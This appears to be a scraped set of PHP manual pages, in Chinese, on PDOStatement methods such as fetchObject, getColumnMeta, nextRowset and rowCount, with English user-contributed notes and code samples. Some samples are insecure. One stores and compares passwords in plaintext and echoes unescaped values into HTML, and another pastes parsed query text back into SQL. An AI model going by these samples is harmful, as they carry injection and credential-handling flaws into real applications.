sebastian dot rapetti at alice dot it 10-Jan-2017 08:00
PDOStatement::fetchObject() injects values as string, I needed a conversion type.

I did it including settype() function in class constructor

Below method that find an user by id and return user object instance:

<?php
class UserMapper extends MapperAbstract
{
    //other code
    public function findById(int $userId)
    {
        $pdos = $this->dBase->prepare('SELECT user_id AS objectId, name, description, password, active, created,
        last_update AS lastUpdate FROM user WHERE user_id = :id');

        $pdos->bindParam(':id', $userId, \PDO::PARAM_INT);
        $pdos->execute();

        return $pdos->fetchObject('\DomainObjects\User', array($this->password));
    }
    //other code
}
?>

User class with type handling:

<?php
class User extends DomainObjectAbstract
{
   //other code
    public function __construct(Password $password)
    {
        $this->passwordUtility = $password;

        settype($this->objectId, 'integer');
        settype($this->active, 'integer');
    }
    //other code
}
?>

var_dump() of returned User instance:

<?php
object(DomainObjects\User)[18]
  public 'name' => string 'root' (length=4)
  public 'description' => string 'System User' (length=11)
  public 'password' => string '$2y$11$4IAn6SRaB0osPz8afZC5D.CmTrBGxnb5FQEygPjDirK9SWE/u8YuO' (length=60)
  public 'active' => int 1
  public 'created' => string '2015-02-14 10:39:00' (length=19)
  public 'lastUpdate' => string '2016-08-30 18:46:56' (length=19)
  private 'passwordUtility' =>
    object(Auth\Password)[13]
      protected 'options' =>
        array (size=1)
          'cost' => int 11
  protected 'objectId' => int 1
?>

'objectId' and 'active' are now of the type required
zlk1214 at gmail dot com 18-Feb-2016 01:41
You can access MySQL tables in an objective way. Suppose you have a table named Users that has fields: UserID, UserName, UserPassword, UserBirthday, you can create a PHP class extending DataObject that is associated with this table:
<?php
class User extends DataObject {
    // name: Table Name, key: Primary Key (can be an array), auto: AUTO_INCREMENT field
    protected static $_table = array('name' => 'Users', 'key' => 'UserID', 'auto' => 'UserID');
    // relationships between PHP properties and MySQL field names
    protected static $_propertyList = array('id' => 'UserID', 'name' => 'UserName', 'password' => 'UserPassword', 'birthday' => 'UserBirthday');

    // A method that fetches all users as an array
    public static function GetAll() {
        global $dbh;
        $sql = 'SELECT * FROM Users';
        $stmt = $dbh->query($sql);
        $users = array();
        while ($user = $stmt->fetchObject(__CLASS__)) {
            $users[] = $user;
        }
        return $users;
    }
    // Methods that fetch a specific user
    public static function GetUserByName($name) {}
    public static function GetUserByID($name) {}

    // Methods for the current user object
    public function checkPassword($password) {return $this->password == $password;}
    public function showLink() {return "<a href=\"user.php?i={$this->id}\">{$this->name}</a>";}
}

// Then, you can create an instance of this class to insert a row in your table
$user = new User();
$user->name = 'oct1158';
$user->password = '789012';
$user->useFunction('birthday', 'NOW()');
echo 'Field birthday uses MySQL Function: ', $user->birthday, '<br>';
if ($user->insert()) {
    echo 'New User ID: ', $user->id, '<br>';

    // Update the row
    $user->password = '112233';
    $user->update();
} else {
    echo 'INSERT Failed<br>';
}
// Get a specific user by a query
$sql = 'SELECT * FROM Users WHERE UserName = ?';
$stmt = $dbh->prepare($sql);
$stmt->execute(array('admin'));
$admin_user = $stmt->fetchObject('User');
echo 'Admin ID is ', $admin_user->id, '.<br>';
echo 'Admin Birthday is ', $admin_user->birthday, '.<br>';

// Get all users by a static method of that class
$users = User::GetAll();
echo '<br>';
echo $users[0]->name, ', ', $users[0]->birthday, '<br>';
echo $users[1]->name, ', ', $users[1]->birthday, '<br>';
echo $users[2]->name, ', ', $users[2]->birthday, '<br>';
echo '<br>';

// Create an empty user and then delete it immediately
$user = new User();
$user->insert();
$user->delete();
?>
The DataObject class example:
<?php
class DataObject {
    private $changedFields = array(); // list of updated fields
    private $data = array(); // original row from PDOStatement
    private $funcFields = array(); // fields that use MySQL functions
    // The properties above are private in this class, so even if in your subclass you define some properties named the same, or you associate a property of the same name with a field in your table, they will never influence these properties.
    function __get($property) {
        if (isset($this::$_propertyList[$property])) {
            return $this->data[$this::$_propertyList[$property]]; // access fields by PHP properties
        } else {
            return $this->$property; // throw the default PHP error
        }
    }
    function __set($property, $value) {
        if (isset($this::$_propertyList[$property])) {
            $field = $this::$_propertyList[$property];
            $this->data[$field] = $value; // update $data

            // take down changed fields
            if (!in_array($field, $this->changedFields)) {
                array_push($this->changedFields, $field);
            }
            $index = array_search($field, $this->funcFields);
            if ($index !== false) {
                unset($this->funcFields[$index]);
                $this->funcFields = array_values($this->funcFields);
            }
        } else {
            // For fetchObject
            $this->data[$property] = $value; // redirect to Array $data
        }
    }
    private function checkPrimaryKey() {}
    private function clear() {}
    public function delete() {}
    public function insert() {}
    public function update() {}
    public function useFunction($property, $function) {}
}
?>
beinghavingbreackfast at gmail dot com 29-Jul-2015 08:51
It should be mentioned that this method can set even non-public properties. It may sound strange but it can actually be very useful when creating an object based on mysql result.
Consider a User class:

<?php
class User {
   // Private properties
   private $id, $name;

   private function __construct () {}

   public static function load_by_id ($id) {
      $stmt = $pdo->prepare('SELECT id, name FROM users WHERE id=?');
      $stmt->execute([$id]);
      return $stmt->fetchObject(__CLASS__);
   }
   /* same method can be written with the "name" column/property */
}

$user = User::load_by_id(1);
var_dump($user);
?>

fetchObject() doesn't care about properties being public or not. It just passes the result to the object. Output is like:

object(User)#3 (2) {
  ["id":"User":private]=>
  string(1) "1"
  ["name":"User":private]=>
  string(10) "John Smith"
}
dave at davidhbrown dot us 27-Jun-2015 03:03
If using a namespaced class, you must provide the fully qualified class name; fetchObject does not seem to know about any "use" statements.

This results in a PHP Fatal error: Class 'MyClass' not found...:
<?php
use MyNamespace\MyClass;
// ...
$o = $statement->fetchObject('MyClass'));
?>
This works:
<?php
use MyNamespace\MyClass; //still needed for my code
// ...
$o = $statement->fetchObject('MyNamespace\\MyClass'));
?>
Anonymous 15-Mar-2015 11:34
I think so could us use this variant to implement the constructor, this is my example:

<?php
class User{
    public $user;
    public $password;
    public $name;
    public $email;

    public function __construct(){
        $args = func_get_args();
        $nargs = func_num_args();
        $attribs = get_class_vars(get_class($this));
        if(isset($args)){
            foreach($args as $value){
                $attrib = key($attribs);
                $this->$attrib = $value;
                next($attribs);
            }
        }
    }
}
Vegard Lkken 18-Mar-2014 07:19
Because of the injection of object properties before the constructor is executed, I usually build my classes like this to make sure already set properties aren't overwritten:

<?php
class Person {
  public $name;
  public $age;
  public $sex;

  public function __construct($name=NULL, $age=NULL, $sex=NULL) {
    $this->name = $name === NULL ? $this->name : $name;
    $this->age = $age === NULL ? $this->age : $age;
    $this->sex = $sex === NULL ? $this->sex : $sex;
  }
}
?>
rasmus at mindplay dot dk 23-Mar-2013 09:53
Be warned of the rather unorthodox behavior of PDOStatement::fetchObject() which injects property-values BEFORE invoking the constructor - in other words, if your class  initializes property-values to defaults in the constructor, you will be overwriting the values injected by fetchObject() !

A var_dump($this) in your __construct() method will reveal that property-values have been initialized prior to calling your constructor, so be careful.

For this reason, I strongly recommend hydrating your objects manually, after retrieving the data as an array, rather than trying to have PDO apply properties directly to your objects.

Clearly somebody thought they were being clever here - allowing you to access hydrated property-values from the constructor. Unfortunately, this is just not how OOP works - the constructor, by definition, is the first method called upon construction.

If you need to initialize your objects after they have been constructed and hydrated, I suggest your model types implement an interface with an init() method, and you data access layer invoke this method (if implemented) after hydrating.


检索语句属性

  • ? PDOStatement::fetchObject
  • PDOStatement::getColumnMeta ?
  • PHP Manual
  • PDOStatement
  • 检索语句属性

PDOStatement::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::getAttribute — 检索语句属性

说明

public PDOStatement::getAttribute(int $name): mixed

得到语句的属性。当前，不存在通用的属性，只有驱动特定的属性：

  • PDO::ATTR_CURSOR_NAME （Firebird 和 ODBC 特性）： 获取 UPDATE ... WHERE CURRENT OF 的游标名称。

请注意，驱动特定的属性不得与其他驱动程序一起使用。

参数

name

要查询的属性。

返回值

返回属性值。

参见

  • PDO::getAttribute() - 取回一个数据库连接的属性
  • PDO::setAttribute() - 设置属性
  • PDOStatement::setAttribute() - 设置一个语句属性

User Contributed Notes

machitgarha at outlook dot com 16-Jul-2017 08:52
MySQL driver doesn't support PDOStatement::getAttribute(). If you use it, it produces a warning, even if you set error reporting (PDO::ERRMODE) to PDO::ERRMODE_SILENT; except when you set to PDO::ERRMODE_EXCEPTION. Also, the SQLSTATE error code of the PDO statement (not the PDO object itself, i.e. using PDOStatement::errorCode()) will be 'IM001'.

Hope this helps someone!


返回结果集中一列的元数据

  • ? PDOStatement::getAttribute
  • PDOStatement::getIterator ?
  • PHP Manual
  • PDOStatement
  • 返回结果集中一列的元数据

PDOStatement::getColumnMeta

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::getColumnMeta — 返回结果集中一列的元数据

说明

public PDOStatement::getColumnMeta(int $column): array|false

检索一个在结果集中以0开始索引的列的元数据作为一个关联数组。

Warning

一些驱动程序可能没有实现 PDOStatement::getColumnMeta()，因为它是可选的。但是，手册中记录的所有 PDO 驱动程序都实现了此功能。

参数

column

结果集中以0开始索引的列。

返回值

返回一个关联数组，它包含了下列表示一个单独列的元数据的值：

列的元数据
名称 | 值
native_type | 用于表示列值的 PHP 原生类型。
driver:decl_type | 在数据库中用于表示列值的 SQL 类型。如果结果集中的列是一个函数的结果，则该值不能被 PDOStatement::getColumnMeta() 返回。
flags | 任何设置于此列的标记。
name | 通过数据库返回的列名。
table | 通过数据库返回的该列的表名
len | 该列的长度。除浮点小数外通常为 -1
precision | 该列的数值精度。除浮点小数外通常为 0。
pdo_type | 以 PDO::PARAM_* 常量为代表的列类型。

如果结果集不存在，或者是请求的列在结果集中不存在，则返回 false。

示例

Example #1 检索列的元数据

下面例子展示了在 PDO_SQLITE 中，检索一个通过函数（COUNT）生成单独列的元数据的结果。

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

以上示例会输出：

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

参见

  • PDOStatement::columnCount() - 返回结果集中的列数
  • PDOStatement::rowCount() - 返回受上一个 SQL 语句影响的行数

User Contributed Notes

samer dot mhana at gmail dot com 19-Jul-2021 03:20
Searching for LONGLONG in php-src:

$datatypes = array(
        MYSQLI_TYPE_TINY => "TINY",
        MYSQLI_TYPE_SHORT => "SHORT",
        MYSQLI_TYPE_LONG => "LONG",
        MYSQLI_TYPE_FLOAT => "FLOAT",
        MYSQLI_TYPE_DOUBLE => "DOUBLE",
        MYSQLI_TYPE_TIMESTAMP => "TIMESTAMP",
        MYSQLI_TYPE_LONGLONG => "LONGLONG",
        MYSQLI_TYPE_INT24 => "INT24",
        MYSQLI_TYPE_DATE => "DATE",
        MYSQLI_TYPE_TIME => "TIME",
        MYSQLI_TYPE_DATETIME => "DATETIME",
        MYSQLI_TYPE_YEAR => "YEAR",
        MYSQLI_TYPE_ENUM => "ENUM",
        MYSQLI_TYPE_SET    => "SET",
        MYSQLI_TYPE_TINY_BLOB => "TINYBLOB",
        MYSQLI_TYPE_MEDIUM_BLOB => "MEDIUMBLOB",
        MYSQLI_TYPE_LONG_BLOB => "LONGBLOB",
        MYSQLI_TYPE_BLOB => "BLOB",
        MYSQLI_TYPE_VAR_STRING => "VAR_STRING",
        MYSQLI_TYPE_STRING => "STRING",
        MYSQLI_TYPE_NULL => "NULL",
        MYSQLI_TYPE_NEWDATE => "NEWDATE",
        MYSQLI_TYPE_INTERVAL => "INTERVAL",
        MYSQLI_TYPE_GEOMETRY => "GEOMETRY",
    );
jcastromail at yahoo dot es 10-Mar-2020 08:49
This method is supported by sql server too (at least the version of the PDO driver 5.7.1)

Example:

array(8) {
  ["flags"]=>
  int(0)
  ["sqlsrv:decl_type"]=>
  string(12) "int identity"
  ["native_type"]=>
  string(6) "string"
  ["table"]=>
  string(0) ""
  ["pdo_type"]=>
  int(2)
  ["name"]=>
  string(8) "IdCompra"
  ["len"]=>
  int(10)
  ["precision"]=>
  int(0)
}
frankno dot 94 at gmail dot com 16-Aug-2019 09:32
I recently added a note to a small function that went through the results of PDOStatement::fetch and mapped columns to integer or float types.

I forgot to test for columns that can have a null value!

I'm updating the code here, sorry.

This website doesn't let me edit the original comment, so I'm just gonna link to a gist in case it needs even further fixes.

https://gist.github.com/AeonFr/db3b2a8a95753076d9e4da42d29365d2

I basically added this code:

<?php
if ($value === null) {
   continue;
}
?>
frankno dot 94 at gmail dot com 13-Aug-2019 10:05
I was able to successfully pull off basic type conversion for integer and float values in PDO.

NULL values were returning as null, but integers and floats weren't, so I decided to go with a simple solution.

It's not tested on all database types, so if you think it needs improvement, let me know (my twitter is "francanobr")

<?php

// Returns the contents of $stm (PDO Statement)
// as an associative array, with correct native types
// for integers, nulls, and floats

$array = [];

while ($fila = $stm->fetch(\PDO::FETCH_ASSOC)) {

    $i = 0;
    foreach ($fila as $key => $value) {
        $columnMeta = $stm->getColumnMeta($i);

        switch ($columnMeta['native_type']) {
            case 'LONG':
            case 'TINY':
                $fila[$key] = intval($value);
                break;
            case 'DOUBLE':
                $fila[$key] = floatval($value);
                break;
        }

        $i++;
    }

    $array[] = $fila;
}

return $array;
?>

The code sample is part of a function, the function declaration is not included, evaluate how to integrate it with your app.
Rodrigo Silva 03-Aug-2019 11:57
native_type has the following mapping for MySQL:
(tested in PHP 5.4, MySQL 5.7)

INT(11) (PKs) => LONG
TINYINT(4)    => TINY
DOUBLE        => DOUBLE
VARCHAR       => VAR_STRING
CHAR          => STRING
DATE          => DATE
Functions     => VAR_STRING
- DATEFORMAT()
- CONCAT()
colin at fusionbox dot com 23-Jan-2009 10:38
This method is supported in the MySQL 5.0+ driver.  It can be used for object hydration:

<?php

$pdo_stmt = $dbh->execute('SELECT discussion.id, discussion.text, comment.id, comment.text FROM discussions LEFT JOIN comments ON comment.discussion_id = discussion.id');

foreach(range(0, $pdo_stmt->columnCount() - 1) as $column_index)
{
  $meta[] = $pdo_stmt->getColumnMeta($column_index);
}

while($row = $pdo_stmt->fetch(PDO::FETCH_NUM))
{
  foreach($row as $column_index => $column_value)
  {
    //do something with the data, using the ids to establish the discussion.has_many(comments) relationship.
  }
}

?>

If you are building an ORM, this method is very useful to support more natural SQL syntax.  Most ORMs require the column names to be aliases so that they can be parsed and turned into objects that properly represent has_one, has_many, many_to_many relationships.
asohn aircanopy net 29-Feb-2008 09:21
I found a short discussion related to this function at
http://www.sitepoint.com/forums/showthread.php?t=497257

I haven't tried it (yet?) but hopefully someone can find it useful.


Gets result set iterator

  • ? PDOStatement::getColumnMeta
  • PDOStatement::nextRowset ?
  • PHP Manual
  • PDOStatement
  • Gets result set iterator

PDOStatement::getIterator

(PHP 8)

PDOStatement::getIterator — Gets result set iterator

说明

public PDOStatement::getIterator(): Iterator

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


在一个多行集合语句句柄中推进到下一个行集合

  • ? PDOStatement::getIterator
  • PDOStatement::rowCount ?
  • PHP Manual
  • PDOStatement
  • 在一个多行集合语句句柄中推进到下一个行集合

PDOStatement::nextRowset

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::nextRowset — 在一个多行集合语句句柄中推进到下一个行集合

说明

public PDOStatement::nextRowset(): bool

一些数据库服务支持返回一个以上行集合（也被称为结果集）的存储过程。PDOStatement::nextRowset() 使你能够结合一个 PDOStatement 对象访问第二个以及后续的行集合。上述的每个行集合可以有不同的列集合。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 获取由一个存储过程返回的多个行集合

下面例子展示了怎样调用一个存储过程，返回三个行集合的 MULTIPLE_ROWSETS。用 do-while 循环来循环调用 PDOStatement::nextRowset() 方法，直到返回 false 并且不再有行集合可用时结束循环。

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
$rowset = $stmt->fetchAll(PDO::FETCH_NUM);
if ($rowset) {
printResultSet($rowset, $i);
}
$i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
print "Result set $i:\n";
foreach ($rowset as $row) {
foreach ($row as $col) {
print $col . "\t";
}
print "\n";
}
print "\n";
}
?>

以上示例会输出：

Result set 1:
apple    red
banana   yellow

Result set 2:
orange   orange    150
banana   yellow    175

Result set 3:
lime     green
apple    red
banana   yellow

参见

  • PDOStatement::columnCount() - 返回结果集中的列数
  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::getColumnMeta() - 返回结果集中一列的元数据
  • PDO::query() - 预处理并执行没有占位符的 SQL 语句

User Contributed Notes

alex at 1stleg dot com 28-Jul-2016 06:29
If you use PDO::fetch instead of PDO::fetchAll and do not reach the end the result set, PDO::nextRowset() will fail with "SQLSTATE[HY000]: General error: PDO_DBLIB: dbresults() returned FAIL."
et dot coder at gmail dot com 14-Oct-2014 01:37
on MSSQL and 'dsn' => 'dblib:...',:
If you know how many count rowset then don't use contruction of do..while.

<?php
do {
    $pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
} while (
    $pdoStatement->nextRowset()
);
?>
When I get large fetchAll(over 30) for second nextRowset. I get error - Segmentation fault.

Uses step-by-step insted do..while is fix for this bug:
<?php
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
$pdoStatement->nextRowset();
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
?>
guilleamathews at gmail dot com 19-Aug-2011 05:41
PDO::nextRowset() does not appear to be currently supported by the Firebird PDO driver. Unfortunate.


返回受上一个 SQL 语句影响的行数

  • ? PDOStatement::nextRowset
  • PDOStatement::setAttribute ?
  • PHP Manual
  • PDOStatement
  • 返回受上一个 SQL 语句影响的行数

PDOStatement::rowCount

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::rowCount — 返回受上一个 SQL 语句影响的行数

说明

public PDOStatement::rowCount(): int

PDOStatement::rowCount() 返回上一个由对应的 PDOStatement 对象执行 DELETE、INSERT 或 UPDATE 语句受影响的行数。

对于生成结果集的语句，例如 SELECT，行为是未定义的，并且对于每个驱动程序可能不同。某些数据库可能会返回该语句生成的行数（例如缓冲模式下的 MySQL），但不能保证所有数据库都具有这种行为，并且对于可移植的应用不应依赖于此方式。

Note:

对 SQLite 驱动程序，此方法始终返回"0"（零），并且 PostgreSQL 驱动程序仅当将 PDO::ATTR_CURSOR 语句属性设置为 PDO::CURSOR_SCROLL 时返回"0"（零）。

参数

此函数没有参数。

返回值

返回行数。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 返回删除的行数

PDOStatement::rowCount() 返回受 DELETE、INSERT 或 UPDATE 语句影响的行数。

<?php
/* 从 FRUIT 数据表中删除所有行 */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* 返回被删除的行数 */
print "Return number of rows that were deleted:\n";
$count = $del->rowCount();
print "Deleted $count rows.\n";
?>

以上示例的输出类似于：

Return number of rows that were deleted:
Deleted 9 rows.

Example #2 计算由一个 SELECT 语句返回的行数

对于大多数数据库，PDOStatement::rowCount() 不能返回受一条 SELECT 语句影响的行数。替代的方法是，使用 PDO::query() 来发出一条和原打算中的 SELECT 语句有相同条件表达式的 SELECT COUNT(*) 语句，然后用 PDOStatement::fetchColumn() 来取得匹配的行数。

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
$res = $conn->query($sql);
$count = $res->fetchColumn();

print "There are " . $count . " matching records.";

以上示例的输出类似于：

There are 2 matching records.

参见

  • PDOStatement::columnCount() - 返回结果集中的列数
  • PDOStatement::fetchColumn() - 从结果集中的下一行返回单独的一列
  • PDO::query() - 预处理并执行没有占位符的 SQL 语句

User Contributed Notes

bohwaz 05-Apr-2019 12:42
Please note another interesting behavior with PostgreSQL.

If you try to use rowCount() after a statement has been prepared using the PDO::ATTR_CURSOR set to PDO::CURSOR_SCROLL you will always get zero (0).

That's because PG doesn't have any way to tell how many rows are in the cursor until it did iterate through all rows.

<?php
$st = $pdo->prepare('SELECT NOW();', [PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL]);
$st->execute();
var_dump($st->rowCount());
?>

Will return "0", whereas the same statement without the CURSOR_SCROLL attribute, will correctly return 1.

Please see this bug report https://bugs.php.net/bug.php?id=77855 for details.

This documentation should be updated shortly to reflect that issue.
xmt at abv dot bg 19-Jun-2018 10:30
Note:
=====
On Mysql SELECT statement with Buffered queries, rowCount will return the correct count of the items in the result set.
BUT if your query is unbuffered, than it will return 0. No matter if all the rows are retrieved from the result set or not (while in mysqli this behaviour is different - you will still get the number of items in the result set with unbuffered queries, but only when you retrieve all the rows from the set).

Example:
========
$conn = new PDO("mysql:host=127.0.0.1;dbname=db", 'root', 'root');

// use unbuffered query
$conn->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$stmt = $conn->query("select * from towns");

echo $stmt->rowCount(); // will always return 0
lsrzj at facebook 09-Dec-2015 02:03
Well, I woundn't do as suggested querying twice the database to get the count and then get the data I want. It would be simpler and would give better performance to query once and retrieve both, record count and the data itself

<?php
$sql = "SELECT * FROM fruit WHERE calories > :calories";
$sth = $conn->prepare($sql);
$sth->bindParam(':calories', 100, PDO::PARAM_INT);
$res = $sth->execute();
if ($res) {
    $record = $sth->fetchAll();
    /* Check the number of rows that match the SELECT statement */
    if (count($record) > 0) {
        foreach ($record as $row) {
            print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
  else {
      print "No rows matched the query.";
    }
}
$conn = null;
?>
@rhavendc (twitter) 23-Nov-2015 08:10
We're having problem with these PDOStatement::fetchColumn() and PDOStatement::rowCount(). I don't know if we have alike case to others or this is just a problem in our coding. In local, the rowCount() is not giving the correct number of rows but it is working fine when uploaded to our hosting site.. while the fetchColumn() is the reverse. The fetchColumn() is working fine in local but not anymore when uploaded. I don't know what is really going on with that but I think rowCount() is the best and the others are optional to use.
info at buylikesandviews dot com 21-Mar-2015 09:04
every good work
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count..
phpnet at maya-control dot ro 10-Apr-2014 11:09
Yet another workaround to return the row count inside only ONE select (see limitations below!):

$sth = $dbh->prepare("SELECT *,count(*) AS howmany FROM users WHERE email=:email and password=:pass"); #var placeholders
$sth->execute(array(':email'=>$email, ':pass'=>$pass)); #var binding
$row = $sth->fetch(); #get one row (it'll always be one and only one!!!)

if ($row['howmany'] == 1){ #we have a match and only one! cool!
    echo $row['email'], $row['name'], $row['phone'], ... ;
} elseif ($row['howmany']>1) { #more than one row returned
    #one programmer should be fired 'cause he's not checking for
    #for existing emails, before creating a new user
    ...
    # treat this exception somehow or simply skip this branch,
    # if you're sure it won't happen in your table
} else { #no match in the table ($row['howmany'] == 0)
    echo "Email/pass didn't match the ones in the database!";
}

Advantages:
- only one select statement is executed, no two steps needed!
- it checks if one row exists in the table or not, according to the WHERE clause.
- it returns all (or only a selection of) fields for that one row, if exists.

Disadvantages:
- it doesn't return row fields reliable if more than one row found. If more than one row responds to the SELECT query, the query returns still only one row and you don't know which one exactly .
Maybe using a SORT BY, would make it a bit more predictible (as in: "if more than one users found, return the last user added in the table") but it's more a matter of good design of the program that fills in the table initially.

Uses:
- It is perfect for checking if a user/pass pair is present in a users table and to return the other fields of the user (like name, phone, whatever) if user was found.
sERGE-01 04-Nov-2013 12:15
In some drivers rowCount() only works when using the prepare() with PDO::CURSOR_SCROLL
So, you can modify PDO class:

<?php
class myPDO extends PDO
{
    function query($query, $values=null)
    {
        if($query == "")
            return false;

        if($sth = $this->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL)))
        {
            $res = ($values) ? $sth->execute($values) : $sth->execute();
            if(!$res)
                return false;
        }
        return $sth;
    }
}
?>

Now let's test (i using php 5.2.9-2):

<?php
function TestRowCount($dsn, $db_user, $db_pass)
{
    $pdh = new PDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() Standart: ".$sth->rowCount()."<br>";

    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() New: ".$sth->rowCount()."<br><br>";

    $pdh=null;
}

$db_server = "xxx";
$db_name = "xxx";
$db_user = "xxx";
$db_pass = "xxx";

print "PDO_MSSQL"."<br>";
TestRowCount("mssql:host=$db_server;dbname=$db_name", $db_user, $db_pass);

print "MSSQL throw PDO_ODBC"."<br>";
TestRowCount("odbc:DRIVER={SQL Server};SERVER=$db_server;DATABASE=$db_name;", $db_user, $db_pass);

print "MS SQL driver 2.0"."<br>";
TestRowCount("sqlsrv:server=$db_server;Database=$db_name", $db_user, $db_pass);
?>

My results:
-------------------
PDO_MSSQL
rowCount() Standart: 0
rowCount() New: 0

MSSQL throw PDO_ODBC
rowCount() Standart: -1
rowCount() New: 53

MS SQL driver 2.0
rowCount() Standart: -1
rowCount() New: 53
-------------------

With myPDO class you can use prepared queries like:
<?php
    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("select * from data where id>? or name like ?", array(100, "A%"));
?>
user at nospam dot example dot com 03-Sep-2013 06:49
MySQL does not seem to return anything in rowCount for a select statement, but you can easily and efficiently get the row count as follows:

class db extends PDO {
  public function last_row_count() {
    return $this->query("SELECT FOUND_ROWS()")->fetchColumn();
  }
}

$myDb = new db('mysql:host=myhost;dbname=mydb', 'login', 'password' );

Then, after running your query:

if ( $myDb->last_row_count() == 0 ) {
  echo "Do something!";
  }
Daniel Karp 31-Aug-2012 12:09
Note that an INSERT ... ON DUPLICATE KEY UPDATE statement is not an INSERT statement, rowCount won't return the number or rows inserted or updated for such a statement.  For MySQL, it will return 1 if the row is inserted, and 2 if it is updated, but that may not apply to other databases.
leandro at marquesini dot com 03-Jan-2012 10:04
To display information only when the query is not empty, I do something like this:

<?php
    $sql = 'SELECT model FROM cars';
    $stmt = $db->prepare($sql);
    $stmt->execute();

    if ($data = $stmt->fetch()) {
        do {
            echo $data['model'] . '<br>';
        } while ($data = $stmt->fetch());
    } else {
        echo 'Empty Query';
    }
?>
Ome Ko 16-Jul-2011 12:08
When updating a Mysql table with identical values nothing's really affected so rowCount will return 0. As Mr. Perl below noted this is not always preferred behaviour and you can change it yourself since PHP 5.3.

Just create your PDO object with
<? php
$p = new PDO($dsn, $u, $p, array(PDO::MYSQL_ATTR_FOUND_ROWS => true));
?>
and rowCount() will tell you how many rows your update-query actually found/matched.
e dot sand at elisand dot com 19-Nov-2008 11:32
My rowCount() workaround & how it's used:

<?php
class MyPDO extends PDO {
    private $queryString;

    public function query(/* ... */) {
        $args = func_get_args();
        $this->queryString = func_get_arg(0);

        return call_user_func_array(array(&$this, 'parent::query'), $args);
    }

    public function rowCount() {
        $regex = '/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/i';
        if (preg_match($regex, $this->queryString, $output) > 0) {
            $stmt = parent::query("SELECT COUNT(*) FROM {$output[1]}", PDO::FETCH_NUM);

            return $stmt->fetchColumn();
        }

        return false;
    }
}

$pdo = new MyPDO("sqlite::memory:");
$result = $pdo->query("SELECT row1, row2 FROM table WHERE something = 5");

if ($pdo->rowCount() > 0) {
    echo "{$result['row1']}, {$result['row2']}";
}
?>
e dot sand at elisand dot com 19-Nov-2008 11:30
As of SQLite 3.x, the SQLite API itself changed and now all queries are implemented using "statements".  Because of this, there is no way for PDO to know the rowCount of a SELECT result because the SQLite API itself doesn't offer this ability.

As a workaround, I created my own rowCount() function - it's a bit of a hack and hasn't been fully tested yet (I don't know how it will work when using JOINs in SELECTs, etc...), but at least alleviates the necessity for SELECT COUNT(*)'s everywhere in your code.

I would have preferred if it were possible to overload the rowCount() function from PDOStatement, but I don't think it's possible (or I don't know how to do it).  There's also potential room for a bit more security ensuring that $queryString is wiped clean after other query()s so that you don't get a bad result, etc...

The actual code should be posted in the above/below post (max post limits, argh!).  If others wish to extend/perfect this method, please keep me posted with an email as to what you've done.
gunnrosebutpeace at gmail dot com 03-Jun-2008 03:19
It'd better to use SQL_CALC_FOUND_ROWS, if you only use MySQL. It has many advantages as you could retrieve only part of result set (via LIMIT) but still get the total row count.
code:
<?php
$db = new PDO(DSN...);
$db->setAttribute(array(PDO::MYSQL_USE_BUFFERED_QUERY=>TRUE));
$rs  = $db->query('SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 5,15');
$rs1 = $db->query('SELECT FOUND_ROWS()');
$rowCount = (int) $rs1->fetchColumn();
?>
Matt 07-Oct-2007 09:22
Great, while using MySQL5, the only way to get the number of rows after doing a PDO SELECT query is to either execute a separate SELECT COUNT(*) query (or to do count($stmt->fetchAll()), which seems like a ridiculous waste of overhead and programming time.

Another gripe I have about PDO is its inability to get the value of output parameters from stored procedures in some DBMSs, such as SQL Server.

I'm not so sure I'm diggin' PDO yet.


设置一个语句属性

  • ? PDOStatement::rowCount
  • PDOStatement::setFetchMode ?
  • PHP Manual
  • PDOStatement
  • 设置一个语句属性

PDOStatement::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::setAttribute — 设置一个语句属性

说明

public PDOStatement::setAttribute(int $attribute, mixed $value): bool

给语句设置一个属性。当前，没有通用的属性可以设置，只有驱动特定的属性：

